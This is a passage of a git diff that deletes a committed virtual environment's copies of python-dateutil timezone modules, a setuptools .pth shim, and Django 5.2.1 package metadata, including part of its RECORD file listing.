http://msdn.microsoft.com/en-us/library/windows/desktop/ms725481(v=vs.85).aspx - (self._stdmonth, - self._stddayofweek, # Sunday = 0 - self._stdweeknumber, # Last = 5 - self._stdhour, - self._stdminute) = tup[4:9] - - (self._dstmonth, - self._dstdayofweek, # Sunday = 0 - self._dstweeknumber, # Last = 5 - self._dsthour, - self._dstminute) = tup[12:17] - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = self._get_hasdst() - - def __repr__(self): - return "tzwin(%s)" % repr(self._name) - - def __reduce__(self): - return (self.__class__, (self._name,)) - - -class tzwinlocal(tzwinbase): - """ - Class representing the local time zone information in the Windows registry - - While :class:`dateutil.tz.tzlocal` makes system calls (via the :mod:`time` - module) to retrieve time zone information, ``tzwinlocal`` retrieves the - rules directly from the Windows registry and creates an object like - :class:`dateutil.tz.tzwin`. - - Because Windows does not have an equivalent of :func:`time.tzset`, on - Windows, :class:`dateutil.tz.tzlocal` instances will always reflect the - time zone settings *at the time that the process was started*, meaning - changes to the machine's time zone settings during the run of a program - on Windows will **not** be reflected by :class:`dateutil.tz.tzlocal`. - Because ``tzwinlocal`` reads the registry directly, it is unaffected by - this issue. - """ - def __init__(self): - with winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) as handle: - with winreg.OpenKey(handle, TZLOCALKEYNAME) as tzlocalkey: - keydict = valuestodict(tzlocalkey) - - self._std_abbr = keydict["StandardName"] - self._dst_abbr = keydict["DaylightName"] - - try: - tzkeyname = text_type('{kn}\\{sn}').format(kn=TZKEYNAME, - sn=self._std_abbr) - with winreg.OpenKey(handle, tzkeyname) as tzkey: - _keydict = valuestodict(tzkey) - self._display = _keydict["Display"] - except OSError: - self._display = None - - stdoffset = -keydict["Bias"]-keydict["StandardBias"] - dstoffset = stdoffset-keydict["DaylightBias"] - - self._std_offset = datetime.timedelta(minutes=stdoffset) - self._dst_offset = datetime.timedelta(minutes=dstoffset) - - # For reasons unclear, in this particular key, the day of week has been - # moved to the END of the SYSTEMTIME structure. - tup = struct.unpack("=8h", keydict["StandardStart"]) - - (self._stdmonth, - self._stdweeknumber, # Last = 5 - self._stdhour, - self._stdminute) = tup[1:5] - - self._stddayofweek = tup[7] - - tup = struct.unpack("=8h", keydict["DaylightStart"]) - - (self._dstmonth, - self._dstweeknumber, # Last = 5 - self._dsthour, - self._dstminute) = tup[1:5] - - self._dstdayofweek = tup[7] - - self._dst_base_offset_ = self._dst_offset - self._std_offset - self.hasdst = self._get_hasdst() - - def __repr__(self): - return "tzwinlocal()" - - def __str__(self): - # str will return the standard name, not the daylight name. - return "tzwinlocal(%s)" % repr(self._std_abbr) - - def __reduce__(self): - return (self.__class__, ()) - - -def picknthweekday(year, month, dayofweek, hour, minute, whichweek): - """ dayofweek == 0 means Sunday, whichweek 5 means last instance """ - first = datetime.datetime(year, month, 1, hour, minute) - - # This will work if dayofweek is ISO weekday (1-7) or Microsoft-style (0-6), - # Because 7 % 7 = 0 - weekdayone = first.replace(day=((dayofweek - first.isoweekday()) % 7) + 1) - wd = weekdayone + ((whichweek - 1) * ONEWEEK) - if (wd.month != month): - wd -= ONEWEEK - - return wd - - -def valuestodict(key): - """Convert a registry key's values to a dictionary.""" - dout = {} - size = winreg.QueryInfoKey(key)[1] - tz_res = None - - for i in range(size): - key_name, value, dtype = winreg.EnumValue(key, i) - if dtype == winreg.REG_DWORD or dtype == winreg.REG_DWORD_LITTLE_ENDIAN: - # If it's a DWORD (32-bit integer), it's stored as unsigned - convert - # that to a proper signed integer - if value & (1 << 31): - value = value - (1 << 32) - elif dtype == winreg.REG_SZ: - # If it's a reference to the tzres DLL, load the actual string - if value.startswith('@tzres'): - tz_res = tz_res or tzres() - value = tz_res.name_from_string(value) - - value = value.rstrip('\x00') # Remove trailing nulls - - dout[key_name] = value - - return dout diff --git a/backend/venv/Lib/site-packages/dateutil/tzwin.py b/backend/venv/Lib/site-packages/dateutil/tzwin.py deleted file mode 100644 index cebc673e..00000000 --- a/backend/venv/Lib/site-packages/dateutil/tzwin.py +++ /dev/null @@ -1,2 +0,0 @@ -# tzwin has moved to dateutil.tz.win -from .tz.win import * diff --git a/backend/venv/Lib/site-packages/dateutil/utils.py b/backend/venv/Lib/site-packages/dateutil/utils.py deleted file mode 100644 index dd2d245a..00000000 --- a/backend/venv/Lib/site-packages/dateutil/utils.py +++ /dev/null @@ -1,71 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers general convenience and utility functions for dealing with -datetimes. - -.. versionadded:: 2.7.0 -""" -from __future__ import unicode_literals - -from datetime import datetime, time - - -def today(tzinfo=None): - """ - Returns a :py:class:`datetime` representing the current day at midnight - - :param tzinfo: - The time zone to attach (also used to determine the current day). - - :return: - A :py:class:`datetime.datetime` object representing the current day - at midnight. - """ - - dt = datetime.now(tzinfo) - return datetime.combine(dt.date(), time(0, tzinfo=tzinfo)) - - -def default_tzinfo(dt, tzinfo): - """ - Sets the ``tzinfo`` parameter on naive datetimes only - - This is useful for example when you are provided a datetime that may have - either an implicit or explicit time zone, such as when parsing a time zone - string. - - .. doctest:: - - >>> from dateutil.tz import tzoffset - >>> from dateutil.parser import parse - >>> from dateutil.utils import default_tzinfo - >>> dflt_tz = tzoffset("EST", -18000) - >>> print(default_tzinfo(parse('2014-01-01 12:30 UTC'), dflt_tz)) - 2014-01-01 12:30:00+00:00 - >>> print(default_tzinfo(parse('2014-01-01 12:30'), dflt_tz)) - 2014-01-01 12:30:00-05:00 - - :param dt: - The datetime on which to replace the time zone - - :param tzinfo: - The :py:class:`datetime.tzinfo` subclass instance to assign to - ``dt`` if (and only if) it is naive. - - :return: - Returns an aware :py:class:`datetime.datetime`. - """ - if dt.tzinfo is not None: - return dt - else: - return dt.replace(tzinfo=tzinfo) - - -def within_delta(dt1, dt2, delta): - """ - Useful for comparing two datetimes that may have a negligible difference - to be considered equal. - """ - delta = abs(delta) - difference = dt1 - dt2 - return -delta <= difference <= delta diff --git a/backend/venv/Lib/site-packages/dateutil/zoneinfo/__init__.py b/backend/venv/Lib/site-packages/dateutil/zoneinfo/__init__.py deleted file mode 100644 index 34f11ad6..00000000 --- a/backend/venv/Lib/site-packages/dateutil/zoneinfo/__init__.py +++ /dev/null @@ -1,167 +0,0 @@ -# -*- coding: utf-8 -*- -import warnings -import json - -from tarfile import TarFile -from pkgutil import get_data -from io import BytesIO - -from dateutil.tz import tzfile as _tzfile - -__all__ = ["get_zonefile_instance", "gettz", "gettz_db_metadata"] - -ZONEFILENAME = "dateutil-zoneinfo.tar.gz" -METADATA_FN = 'METADATA' - - -class tzfile(_tzfile): - def __reduce__(self): - return (gettz, (self._filename,)) - - -def getzoneinfofile_stream(): - try: - return BytesIO(get_data(__name__, ZONEFILENAME)) - except IOError as e: # TODO switch to FileNotFoundError? - warnings.warn("I/O error({0}): {1}".format(e.errno, e.strerror)) - return None - - -class ZoneInfoFile(object): - def __init__(self, zonefile_stream=None): - if zonefile_stream is not None: - with TarFile.open(fileobj=zonefile_stream) as tf: - self.zones = {zf.name: tzfile(tf.extractfile(zf), filename=zf.name) - for zf in tf.getmembers() - if zf.isfile() and zf.name != METADATA_FN} - # deal with links: They'll point to their parent object. Less - # waste of memory - links = {zl.name: self.zones[zl.linkname] - for zl in tf.getmembers() if - zl.islnk() or zl.issym()} - self.zones.update(links) - try: - metadata_json = tf.extractfile(tf.getmember(METADATA_FN)) - metadata_str = metadata_json.read().decode('UTF-8') - self.metadata = json.loads(metadata_str) - except KeyError: - # no metadata in tar file - self.metadata = None - else: - self.zones = {} - self.metadata = None - - def get(self, name, default=None): - """ - Wrapper for :func:`ZoneInfoFile.zones.get`. This is a convenience method - for retrieving zones from the zone dictionary. - - :param name: - The name of the zone to retrieve. (Generally IANA zone names) - - :param default: - The value to return in the event of a missing key. - - .. versionadded:: 2.6.0 - - """ - return self.zones.get(name, default) - - -# The current API has gettz as a module function, although in fact it taps into -# a stateful class. So as a workaround for now, without changing the API, we -# will create a new "global" class instance the first time a user requests a -# timezone. Ugly, but adheres to the api. -# -# TODO: Remove after deprecation period. -_CLASS_ZONE_INSTANCE = [] - - -def get_zonefile_instance(new_instance=False): - """ - This is a convenience function which provides a :class:`ZoneInfoFile` - instance using the data provided by the ``dateutil`` package. By default, it - caches a single instance of the ZoneInfoFile object and returns that. - - :param new_instance: - If ``True``, a new instance of :class:`ZoneInfoFile` is instantiated and - used as the cached instance for the next call. Otherwise, new instances - are created only as necessary. - - :return: - Returns a :class:`ZoneInfoFile` object. - - .. versionadded:: 2.6 - """ - if new_instance: - zif = None - else: - zif = getattr(get_zonefile_instance, '_cached_instance', None) - - if zif is None: - zif = ZoneInfoFile(getzoneinfofile_stream()) - - get_zonefile_instance._cached_instance = zif - - return zif - - -def gettz(name): - """ - This retrieves a time zone from the local zoneinfo tarball that is packaged - with dateutil. - - :param name: - An IANA-style time zone name, as found in the zoneinfo file. - - :return: - Returns a :class:`dateutil.tz.tzfile` time zone object. - - .. warning:: - It is generally inadvisable to use this function, and it is only - provided for API compatibility with earlier versions. This is *not* - equivalent to ``dateutil.tz.gettz()``, which selects an appropriate - time zone based on the inputs, favoring system zoneinfo. This is ONLY - for accessing the dateutil-specific zoneinfo (which may be out of - date compared to the system zoneinfo). - - .. deprecated:: 2.6 - If you need to use a specific zoneinfofile over the system zoneinfo, - instantiate a :class:`dateutil.zoneinfo.ZoneInfoFile` object and call - :func:`dateutil.zoneinfo.ZoneInfoFile.get(name)` instead. - - Use :func:`get_zonefile_instance` to retrieve an instance of the - dateutil-provided zoneinfo. - """ - warnings.warn("zoneinfo.gettz() will be removed in future versions, " - "to use the dateutil-provided zoneinfo files, instantiate a " - "ZoneInfoFile object and use ZoneInfoFile.zones.get() " - "instead. See the documentation for details.", - DeprecationWarning) - - if len(_CLASS_ZONE_INSTANCE) == 0: - _CLASS_ZONE_INSTANCE.append(ZoneInfoFile(getzoneinfofile_stream())) - return _CLASS_ZONE_INSTANCE[0].zones.get(name) - - -def gettz_db_metadata(): - """ Get the zonefile metadata - - See `zonefile_metadata`_ - - :returns: - A dictionary with the database metadata - - .. deprecated:: 2.6 - See deprecation warning in :func:`zoneinfo.gettz`. To get metadata, - query the attribute ``zoneinfo.ZoneInfoFile.metadata``. - """ - warnings.warn("zoneinfo.gettz_db_metadata() will be removed in future " - "versions, to use the dateutil-provided zoneinfo files, " - "ZoneInfoFile object and query the 'metadata' attribute " - "instead. See the documentation for details.", - DeprecationWarning) - - if len(_CLASS_ZONE_INSTANCE) == 0: - _CLASS_ZONE_INSTANCE.append(ZoneInfoFile(getzoneinfofile_stream())) - return _CLASS_ZONE_INSTANCE[0].metadata diff --git a/backend/venv/Lib/site-packages/dateutil/zoneinfo/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/zoneinfo/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index eb855c4a..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/zoneinfo/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/zoneinfo/__pycache__/rebuild.cpython-311.pyc b/backend/venv/Lib/site-packages/dateutil/zoneinfo/__pycache__/rebuild.cpython-311.pyc deleted file mode 100644 index 3bfca2da..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/zoneinfo/__pycache__/rebuild.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/zoneinfo/dateutil-zoneinfo.tar.gz b/backend/venv/Lib/site-packages/dateutil/zoneinfo/dateutil-zoneinfo.tar.gz deleted file mode 100644 index 1461f8c8..00000000 Binary files a/backend/venv/Lib/site-packages/dateutil/zoneinfo/dateutil-zoneinfo.tar.gz and /dev/null differ diff --git a/backend/venv/Lib/site-packages/dateutil/zoneinfo/rebuild.py b/backend/venv/Lib/site-packages/dateutil/zoneinfo/rebuild.py deleted file mode 100644 index 684c6586..00000000 --- a/backend/venv/Lib/site-packages/dateutil/zoneinfo/rebuild.py +++ /dev/null @@ -1,75 +0,0 @@ -import logging -import os -import tempfile -import shutil -import json -from subprocess import check_call, check_output -from tarfile import TarFile - -from dateutil.zoneinfo import METADATA_FN, ZONEFILENAME - - -def rebuild(filename, tag=None, format="gz", zonegroups=[], metadata=None): - """Rebuild the internal timezone info in dateutil/zoneinfo/zoneinfo*tar* - - filename is the timezone tarball from ``ftp.iana.org/tz``. - - """ - tmpdir = tempfile.mkdtemp() - zonedir = os.path.join(tmpdir, "zoneinfo") - moduledir = os.path.dirname(__file__) - try: - with TarFile.open(filename) as tf: - for name in zonegroups: - tf.extract(name, tmpdir) - filepaths = [os.path.join(tmpdir, n) for n in zonegroups] - - _run_zic(zonedir, filepaths) - - # write metadata file - with open(os.path.join(zonedir, METADATA_FN), 'w') as f: - json.dump(metadata, f, indent=4, sort_keys=True) - target = os.path.join(moduledir, ZONEFILENAME) - with TarFile.open(target, "w:%s" % format) as tf: - for entry in os.listdir(zonedir): - entrypath = os.path.join(zonedir, entry) - tf.add(entrypath, entry) - finally: - shutil.rmtree(tmpdir) - - -def _run_zic(zonedir, filepaths): - """Calls the ``zic`` compiler in a compatible way to get a "fat" binary. - - Recent versions of ``zic`` default to ``-b slim``, while older versions - don't even have the ``-b`` option (but default to "fat" binaries). The - current version of dateutil does not support Version 2+ TZif files, which - causes problems when used in conjunction with "slim" binaries, so this - function is used to ensure that we always get a "fat" binary. - """ - - try: - help_text = check_output(["zic", "--help"]) - except OSError as e: - _print_on_nosuchfile(e) - raise - - if b"-b " in help_text: - bloat_args = ["-b", "fat"] - else: - bloat_args = [] - - check_call(["zic"] + bloat_args + ["-d", zonedir] + filepaths) - - -def _print_on_nosuchfile(e): - """Print helpful troubleshooting message - - e is an exception raised by subprocess.check_call() - - """ - if e.errno == 2: - logging.error( - "Could not find zic. Perhaps you need to install " - "libc-bin or some other package that provides it, " - "or it's not in your PATH?") diff --git a/backend/venv/Lib/site-packages/distutils-precedence.pth b/backend/venv/Lib/site-packages/distutils-precedence.pth deleted file mode 100644 index 7f009fe9..00000000 --- a/backend/venv/Lib/site-packages/distutils-precedence.pth +++ /dev/null @@ -1 +0,0 @@ -import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim(); diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/METADATA b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/METADATA deleted file mode 100644 index 55533d86..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/METADATA +++ /dev/null @@ -1,99 +0,0 @@ -Metadata-Version: 2.4 -Name: Django -Version: 5.2.1 -Summary: A high-level Python web framework that encourages rapid development and clean, pragmatic design. -Author-email: Django Software Foundation -License: BSD-3-Clause -Project-URL: Homepage, https://www.djangoproject.com/ -Project-URL: Documentation, https://docs.djangoproject.com/ -Project-URL: Release notes, https://docs.djangoproject.com/en/stable/releases/ -Project-URL: Funding, https://www.djangoproject.com/fundraising/ -Project-URL: Source, https://github.com/django/django -Project-URL: Tracker, https://code.djangoproject.com/ -Classifier: Development Status :: 5 - Production/Stable -Classifier: Environment :: Web Environment -Classifier: Framework :: Django -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Topic :: Internet :: WWW/HTTP -Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content -Classifier: Topic :: Internet :: WWW/HTTP :: WSGI -Classifier: Topic :: Software Development :: Libraries :: Application Frameworks -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=3.10 -Description-Content-Type: text/x-rst -License-File: LICENSE -License-File: LICENSE.python -License-File: AUTHORS -Requires-Dist: asgiref>=3.8.1 -Requires-Dist: sqlparse>=0.3.1 -Requires-Dist: tzdata; sys_platform == "win32" -Provides-Extra: argon2 -Requires-Dist: argon2-cffi>=19.1.0; extra == "argon2" -Provides-Extra: bcrypt -Requires-Dist: bcrypt; extra == "bcrypt" -Dynamic: license-file - -====== -Django -====== - -Django is a high-level Python web framework that encourages rapid development -and clean, pragmatic design. Thanks for checking it out. - -All documentation is in the "``docs``" directory and online at -https://docs.djangoproject.com/en/stable/. If you're just getting started, -here's how we recommend you read the docs: - -* First, read ``docs/intro/install.txt`` for instructions on installing Django. - -* Next, work through the tutorials in order (``docs/intro/tutorial01.txt``, - ``docs/intro/tutorial02.txt``, etc.). - -* If you want to set up an actual deployment server, read - ``docs/howto/deployment/index.txt`` for instructions. - -* You'll probably want to read through the topical guides (in ``docs/topics``) - next; from there you can jump to the HOWTOs (in ``docs/howto``) for specific - problems, and check out the reference (``docs/ref``) for gory details. - -* See ``docs/README`` for instructions on building an HTML version of the docs. - -Docs are updated rigorously. If you find any problems in the docs, or think -they should be clarified in any way, please take 30 seconds to fill out a -ticket here: https://code.djangoproject.com/newticket - -To get more help: - -* Join the ``#django`` channel on ``irc.libera.chat``. Lots of helpful people - hang out there. `Webchat is available `_. - -* Join the `Django Discord community `_. - -* Join the community on the `Django Forum `_. - -To contribute to Django: - -* Check out https://docs.djangoproject.com/en/dev/internals/contributing/ for - information about getting involved. - -To run Django's test suite: - -* Follow the instructions in the "Unit tests" section of - ``docs/internals/contributing/writing-code/unit-tests.txt``, published online at - https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/unit-tests/#running-the-unit-tests - -Supporting the Development of Django -==================================== - -Django's development depends on your contributions. - -If you depend on Django, remember to support the Django Software Foundation: https://www.djangoproject.com/fundraising/ diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/RECORD b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/RECORD deleted file mode 100644 index aeadaa7c..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/RECORD +++ /dev/null @@ -1,4554 +0,0 @@ -../../Scripts/django-admin.exe,sha256=VuXTn2fYcT3asD_L-oQT7moVCKlCYQXF2xbeEEyvYaE,108500 -django-5.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -django-5.2.1.dist-info/METADATA,sha256=zhVr5kDsiQCxUk6LcJplYoX1eGh7T3_2PZ9Vp55h6H0,4126 -django-5.2.1.dist-info/RECORD,, -django-5.2.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django-5.2.1.dist-info/WHEEL,sha256=0CuiUZ_p9E4cD6NyLD6UG80LBXYyiSYZOKDm5lp32xk,91 -django-5.2.1.dist-info/entry_points.txt,sha256=hi1U04jQDqr9xaV6Gklnqh-d69jiCZdS73E0l_671L4,82 -django-5.2.1.dist-info/licenses/AUTHORS,sha256=9JEmoLUtVFMjDOHoPh653hrl-LymoYjwuVakP93esSE,43753 -django-5.2.1.dist-info/licenses/LICENSE,sha256=uEZBXRtRTpwd_xSiLeuQbXlLxUbKYSn5UKGM0JHipmk,1552 -django-5.2.1.dist-info/licenses/LICENSE.python,sha256=dl4rHjOf740-nxKJLn4HKovjCZlqC-Q__FeWOY7E59Q,14256 -django-5.2.1.dist-info/top_level.txt,sha256=V_goijg9tfO20ox_7os6CcnPvmBavbxu46LpJiNLwjA,7 -django/__init__.py,sha256=EnTMgJ2PRxNqKM5hvOjdB9EMrwkWlxNwKEaOXEAfwpE,799 -django/__main__.py,sha256=XO-CRvbZFCKtIvAT6Jvbn32dWnv2pnNszRVS-1nKX0I,212 -django/__pycache__/__init__.cpython-311.pyc,, -django/__pycache__/__main__.cpython-311.pyc,, -django/__pycache__/shortcuts.cpython-311.pyc,, -django/apps/__init__.py,sha256=8WZTI_JnNuP4tyfuimH3_pKQYbDAy2haq-xkQT1UXkc,90 -django/apps/__pycache__/__init__.cpython-311.pyc,, -django/apps/__pycache__/config.cpython-311.pyc,, -django/apps/__pycache__/registry.cpython-311.pyc,, -django/apps/config.py,sha256=1Zhxt4OrwRnOmsT_B_BurImz3oi8330TJG0rRRJ58bQ,11482 -django/apps/registry.py,sha256=rdexON5JuhKAMWAZv4k2DH0fRSKdPZoi6_tTjOUgFRA,17693 -django/conf/__init__.py,sha256=z-39ierCs_8FYomobh9PWESoZI5RJ-TgzEuew8B9kJM,9809 -django/conf/__pycache__/__init__.cpython-311.pyc,, -django/conf/__pycache__/global_settings.cpython-311.pyc,, -django/conf/app_template/__init__.py-tpl,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/app_template/admin.py-tpl,sha256=suMo4x8I3JBxAFBVIdE-5qnqZ6JAZV0FESABHOSc-vg,63 -django/conf/app_template/apps.py-tpl,sha256=jrRjsh9lSkUvV4NnKdlAhLDtvydwBNjite0w2J9WPtI,171 -django/conf/app_template/migrations/__init__.py-tpl,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/app_template/models.py-tpl,sha256=Vjc0p2XbAPgE6HyTF6vll98A4eDhA5AvaQqsc4kQ9AQ,57 -django/conf/app_template/tests.py-tpl,sha256=mrbGGRNg5jwbTJtWWa7zSKdDyeB4vmgZCRc2nk6VY-g,60 -django/conf/app_template/views.py-tpl,sha256=xc1IQHrsij7j33TUbo-_oewy3vs03pw_etpBWaMYJl0,63 -django/conf/global_settings.py,sha256=lVUBoRcyOo_Qvk62zXpnRO2Spfo0RLaskgCZvPFzYvw,23026 -django/conf/locale/__init__.py,sha256=QHDK8QIAcRjGMtWL8QVgYA_6psetuZuWBJkPwumTeI8,13864 -django/conf/locale/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/af/LC_MESSAGES/django.mo,sha256=Puafv8AlIDa6EMSa2A6_LYsjOjAd8p9J2F89UYNiR_Q,27466 -django/conf/locale/af/LC_MESSAGES/django.po,sha256=L3vsRiiwNQKsjPBZOx9GVJ0IyyA--ScPrp73BWG8h8M,30142 -django/conf/locale/ar/LC_MESSAGES/django.mo,sha256=qBaEPhfJxd2mK1uPH7J06hPI3_leRPsWkVgcKtJSAvQ,35688 -django/conf/locale/ar/LC_MESSAGES/django.po,sha256=MQeB4q0H-uDLurniJP5b2SBOTETAUl9k9NHxtaw0nnU,38892 -django/conf/locale/ar/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ar/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ar/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ar/formats.py,sha256=EI9DAiGt1avNY-a6luMnAqKISKGHXHiKE4QLRx7wGHU,696 -django/conf/locale/ar_DZ/LC_MESSAGES/django.mo,sha256=QosXYYYvQjGu13pLrC9LIVwUQXVwdJpIYn7RB9QCJY8,33960 -django/conf/locale/ar_DZ/LC_MESSAGES/django.po,sha256=2iT_sY4XedSSiHagu03OgpYXWNJVaKDwKUfxgEN4k3k,37626 -django/conf/locale/ar_DZ/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ar_DZ/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ar_DZ/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ar_DZ/formats.py,sha256=T84q3oMKng-L7_xymPqYwpzs78LvvfHy2drfSRj8XjE,901 -django/conf/locale/ast/LC_MESSAGES/django.mo,sha256=XSStt50HP-49AJ8wFcnbn55SLncJCsS2lx_4UwK-h-8,15579 -django/conf/locale/ast/LC_MESSAGES/django.po,sha256=7qZUb5JjfrWLqtXPRjpNOMNycbcsEYpNO-oYmazLTk4,23675 -django/conf/locale/az/LC_MESSAGES/django.mo,sha256=EJI2hYCCFFJb0YhaS7b5LrHOG6TGT_lJSOYQ2K7VAbY,28595 -django/conf/locale/az/LC_MESSAGES/django.po,sha256=44nzF7PPC0Ax1QI-PSpwvAGyyKQBwoLyZKJlPfJ9vfw,30893 -django/conf/locale/az/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/az/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/az/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/az/formats.py,sha256=JQoS2AYHKJxiH6TJas1MoeYgTeUv5XcNtYUHF7ulDmw,1087 -django/conf/locale/be/LC_MESSAGES/django.mo,sha256=rcdijOhkdSXs8BoQZN5jQDB-pkWYlgWF3m5VfJjCssI,37554 -django/conf/locale/be/LC_MESSAGES/django.po,sha256=7h7Z5qvjhD3BYgmbF1G7-Z2I70t1figiFlvMAz6twA4,40172 -django/conf/locale/bg/LC_MESSAGES/django.mo,sha256=x22bBhceDhNZXSoXiTKnc7w_HvtmW3EfWrZgsomUv6A,34729 -django/conf/locale/bg/LC_MESSAGES/django.po,sha256=xTU8GIhvPPuU7K4G8lZq8FXFsWiloT2u-118KtxkxBc,37283 -django/conf/locale/bg/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/bg/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/bg/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/bg/formats.py,sha256=LC7P_5yjdGgsxLQ_GDtC8H2bz9NTxUze_CAtzlm37TA,705 -django/conf/locale/bn/LC_MESSAGES/django.mo,sha256=sB0RIFrGS11Z8dx5829oOFw55vuO4vty3W4oVzIEe8Q,16660 -django/conf/locale/bn/LC_MESSAGES/django.po,sha256=rF9vML3LDOqXkmK6R_VF3tQaFEoZI7besJAPx5qHNM0,26877 -django/conf/locale/bn/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/bn/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/bn/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/bn/formats.py,sha256=jynhZ9XNNuxTXeF7f2FrJYYZuFwlLY58fGfQ6gVs7s8,964 -django/conf/locale/br/LC_MESSAGES/django.mo,sha256=Xow2-sd55CZJsvfF8axtxXNRe27EDwxKixCGelVQ4aU,14009 -django/conf/locale/br/LC_MESSAGES/django.po,sha256=ODCUDdEDAvsOVOAr49YiWT2YQaBZmc-38brdgYWc8Bs,24293 -django/conf/locale/bs/LC_MESSAGES/django.mo,sha256=Xa5QAbsHIdLkyG4nhLCD4UHdCngrw5Oh120abCNdWlA,10824 -django/conf/locale/bs/LC_MESSAGES/django.po,sha256=IB-2VvrQKUivAMLMpQo1LGRAxw3kj-7kB6ckPai0fug,22070 -django/conf/locale/bs/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/bs/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/bs/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/bs/formats.py,sha256=760m-h4OHpij6p_BAD2dr3nsWaTb6oR1Y5culX9Gxqw,705 -django/conf/locale/ca/LC_MESSAGES/django.mo,sha256=v6lEJTUbXyEUBsctIdNFOg-Ck5MVFbuz-JgjqkUe32c,27707 -django/conf/locale/ca/LC_MESSAGES/django.po,sha256=16M-EtYLbfKnquh-IPRjWxTdHAqtisDc46Dzo5n-ZMc,30320 -django/conf/locale/ca/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ca/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ca/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ca/formats.py,sha256=s7N6Ns3yIqr_KDhatnUvfjbPhUbrhvemB5HtCeodGZo,940 -django/conf/locale/ckb/LC_MESSAGES/django.mo,sha256=-Wk2cPQA7s-zQQKuzxnrQ18w-9LnAOfT3Ji5htLgbqI,34015 -django/conf/locale/ckb/LC_MESSAGES/django.po,sha256=OlbnQh93KtkGZ0yQKi8_r-BQQceL5EvAiB30f3Z84Vw,36195 -django/conf/locale/ckb/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ckb/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ckb/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ckb/formats.py,sha256=EbmQC-dyQl8EqVQOVGwy1Ra5-P1n-J3UF4K55p3VzOM,728 -django/conf/locale/cs/LC_MESSAGES/django.mo,sha256=7_tvOmbJAdC-A1yk1503fdzjBxpwA9QJmfRcyPsmTBw,30186 -django/conf/locale/cs/LC_MESSAGES/django.po,sha256=wDPx3mYbrjmdTJEjNJM9odEpMT3j-xSkHqx1FARKMF0,33138 -django/conf/locale/cs/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/cs/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/cs/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/cs/formats.py,sha256=3MA70CW0wfr0AIYvYqE0ACmX79tNOx-ZdlR6Aetp9e8,1539 